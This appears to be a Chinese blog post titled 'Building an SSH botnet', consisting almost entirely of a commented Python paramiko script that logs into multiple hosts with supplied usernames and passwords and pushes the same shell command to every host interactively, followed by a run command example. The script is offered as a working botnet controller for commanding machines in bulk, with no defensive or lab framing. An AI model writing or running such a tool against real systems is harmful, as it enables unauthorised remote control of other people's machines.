构建SSH僵尸网络

复制代码
import argparse
import paramiko

# 定义一个名为Client的类,用于表示SSH客户端相关操作
class Client:
    # 类的初始化方法,接收主机地址、用户名和密码作为参数
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        # 创建一个paramiko的SSHClient实例,用于后续的SSH连接操作
        self.client = paramiko.SSHClient()
        # 设置自动添加主机密钥策略,避免出现未知主机密钥时连接失败
        self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        # 调用连接方法,尝试建立SSH连接
        self.connect()

    # 定义连接方法,用于建立到指定主机的SSH连接
    def connect(self):
        try:
            # 使用提供的主机、用户名和密码进行SSH连接
            self.client.connect(self.host, username=self.user, password=self.password)
            print(f"[+] Connected to {self.host}")
        except Exception as e:
            print(f"[-] Error connecting to {self.host}: {e}")

    # 用于在已连接的SSH会话上执行命令,并返回命令的输出结果
    def send_command(self, cmd):
        # 在SSH会话上执行命令,获取标准输入、标准输出和标准错误输出流
        stdin, stdout, stderr = self.client.exec_command(cmd)
        # 读取标准输出内容,并使用utf-8编码将字节数据转换为字符串
        output = stdout.read().decode('utf-8')
        # 读取标准错误输出内容,并进行同样的编码转换
        error = stderr.read().decode('utf-8')
        if error:
            print(f"[-] Error executing command on {self.host}: {error}")
        return output

    # 类方法,用于向所有已添加到botNet列表中的客户端发送相同命令,并收集结果
    @classmethod
    def botnet_command(cls, command):
        results = []
        # 遍历botNet列表中的每个客户端实例
        for client in cls.botNet:
            # 在每个客户端上执行命令,并获取输出结果
            output = client.send_command(command)
            # 将客户端的主机地址和对应的命令输出结果作为元组添加到results列表中
            results.append((client.host, output))
        return results

    # 类方法,用于向botNet列表中添加一个新的客户端实例
    @classmethod
    def add_client(cls, host, user, password):
        client = cls(host, user, password)
        cls.botNet.append(client)

    # 类方法,用于关闭所有已添加到botNet列表中的客户端的SSH连接
    @classmethod
    def close_all_connections(cls):
        for client in cls.botNet:
            client.client.close()
            print(f"[+] Connection to {client.host} closed")

# 初始化一个空的botNet列表,用于存储所有的客户端实例
Client.botNet = []

def main():
    # 创建一个命令行参数解析器对象,用于解析用户输入的命令行参数
    parser = argparse.ArgumentParser(description='SSH Botnet Client')
    # 添加一个名为--host的命令行参数,可接收多个值,用于指定要连接的主机地址
    parser.add_argument('--host', nargs='+', help='Host(s) to connect to')
    # 添加一个名为--user的命令行参数,可接收多个值,用于指定SSH连接的用户名
    parser.add_argument('--user', nargs='+', help='Username(s) for SSH connection')
    # 添加一个名为--password的命令行参数,可接收多个值,用于指定SSH连接的密码
    parser.add_argument('--password', nargs='+', help='Password(s) for SSH connection')
    args = parser.parse_args()

    # 检查是否缺少必要的命令行参数,如果缺少则报错
    if not args.host or not args.user or not args.password:
        parser.error('Missing required arguments')
    # 检查主机地址、用户名和密码的数量是否一致,如果不一致则报错
    if len(args.host)!= len(args.user) or len(args.host)!= len(args.password):
        parser.error('The number of hosts, users, and passwords must be the same')

    # 通过循环,为每个主机地址、用户名和密码的组合创建一个Client实例,并添加到botNet列表中
    for host, user, password in zip(args.host, args.user, args.password):
        Client.add_client(host, user, password)

    print("Connected to all hosts. Enter 'exit' to quit.")
    while True:
        command = input("Enter command: ")
        if command.lower() == 'exit':
            break
        results = Client.botnet_command(command)
        for host, output in results:
            print(f"Output from {host}:")
            print(output)

    # 关闭所有已添加的客户端的SSH连接
    Client.close_all_connections()

if __name__ == '__main__':
    main()
复制代码
运行方法:
第一种:终端控制:python your_script.py --host IP1 IP2 --user user1 user2 --password password1 password2

输出结果:

相关推荐
花酒锄作田2 小时前
[python]argparse 包在聊天机器人中的应用
python
NiceCloud喜云4 小时前
Opus 4.8 的 Effort Control 怎么选:Low 到 Max 五档策略
android·java·大数据·前端·c++·python·spring
AI玫瑰助手5 小时前
Python函数:默认参数的定义与注意事项
开发语言·python·信息可视化
ylscode5 小时前
PureLogs 信息窃取恶意软件惊现高危变种:借道 MsBuild.exe 进程空心化实施无痕攻击
网络·安全·安全威胁分析
IPHWT 零软网络5 小时前
MX60E-A信创级智能语音网关技术实现与架构分析
网络·网络安全·国产自研·技术实现·智能语音网关·政企通信·信创技术
weixin_468466855 小时前
全局与局部注意力机制新手实战指南
人工智能·python·深度学习·算法·自然语言处理·transformer·注意力机制
小糖学代码5 小时前
LLM系列:环境搭建:5.Python-dotenv 环境变量管理
人工智能·python·深度学习·神经网络
IT大白鼠5 小时前
RSTP协议原理与配置详解:快速生成树技术的深度解析
网络·网络协议
智慧物业老杨6 小时前
智慧物业合同周期管理系统:从风险预警到智能交接的全流程数智化落地方案
java·人工智能·python
橙橙笔记6 小时前
Python的学习第一部分
python·学习